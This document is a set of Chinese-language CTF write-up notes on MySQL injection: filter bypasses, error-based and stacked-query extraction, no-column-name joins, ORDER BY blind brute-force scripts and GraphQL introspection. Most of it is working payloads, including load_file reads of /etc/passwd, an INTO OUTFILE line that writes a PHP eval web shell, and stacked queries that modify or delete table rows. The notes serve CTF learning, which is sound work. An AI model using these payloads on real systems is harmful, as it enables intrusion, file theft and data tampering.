1.[NISACTF 2022]join-us sql报错注入和联合注入
过滤:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()
其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。
database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。
1'||(select * from aa)#或者将||换成or,爆出sqlsql库。
-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表
-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名
-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#
-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
由于as也被过滤,无列名注入可以用join 连接
首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了
select*from (select*from output a join output b)c
2.mysql注入文件操作(root权限)
方法一:
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payload:
0 and updatexml(1,concat('~',(select(database())),'~'),1)%23
0 and updatexml(1,concat('~',(select(user())),'~'),1)%23
爆出root用户
0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
0 Union select 1,load_file("/etc/passwd")--+
方法二:
写入函数为into outfile()
INTO OUTFILE()函数将自定义字符串写入指定文件中 (前提权限允许写入)
0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"
Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+
堆叠注入
(1).[强网杯 2019]随便注
一般select等被禁用时,可以考虑堆叠注入
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。
查看表
?inject=1' ;show database --+
查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,必须使用反引号
如何查看flag字段?
方法一:16进制编码 prepare预处理
因为select被过滤了,所以先将select * from ` 1919810931114514
`进行16进制编码
再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
变量定义预处理:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
或者(2)本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值
方法二:handeler
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
';handler `1919810931114514` open;handler `1919810931114514` read first#
(2)newstar 堆叠注入
目的是帮助火华用户修改成绩,然后验证成绩才能得到flag ,过滤 insert update select
方法一:
利用预处理,然后concat
拼接字符串绕过即可
username=1';set @sql=concat('up','date `score` set listen=123 where username="火华"');prepare sql_exe FROM @sql;execute sql_exe#
方法二:
用replace代替insert进行修改
1';replace into score values("火华",400,400,400);#
用handler查看字段值
username=1';handler `score` open;handler `score` read first#
删除 第一个火华 ,然后拿到flag
1';delete from score where listen=11;#
4.过滤了注释符,在sql中常用的注释符号有--、#、/*xxx*/、
可以再嵌套一个select在union select里,绕过注释符过滤
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3
为什么要改成-1呢,因为题目设了限制limit 1,只显示单行。输入1的话,前面语句会成功执行返回结果,会挤掉我们想要的结果。
第二种:优先级 and > or
空格利用的是()括号代替的
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
4.ord(character)函数是返回一个字符的ASCII码。可以替换ascii()
5.无列名注入 例题sql无列名注入
发现or,#都被过滤,空格会被消除,order by和information_schema都不能用
1'/**/group/**/by/**/22,'3
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
得到数据库名:web1
查看表名
information_schema.tables用mysql.innodb_table_stats代替
用database_name 写数据库名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
查询第三列的值
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
6.graph sql注入
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。
内省查询payload:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
在全部接口信息中找到ffffllllaaagggg_1n_h3r3_flag接口
尝试读到数据,进行模仿读取flag
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}
6。 order by 大小比较盲注
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了
判断出有3个列 id name passord
username='|| 1 order by 3#&password=111
||1是为了让前边为真不然,查询结果只有一行不能比较
import requests
url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/"
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
k=""
for i in range(1,40):
for j in s:
l=k+j
data={
"username":"' or 1 union select 1,2,'{}' order by 3#".format(l),
"password":"12"
}
res=requests.post(url=url,data=data)
if "</code>admin" in res.text:
k=k+chr(ord(j)-1)
print(k)
break
7.利用报错注入和load_file()读文件 必须为绝对路径
过滤了 UNION SLEEP ' " OR - BENCHMARK
用16进制编码绕过
import requests
url="http://890ab957-10e9-4a14-885c-d3f0e80d4d26.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
# u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
# r=requests.get(u)
# print(r.text)
# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
r=requests.get(u)
print(r.text)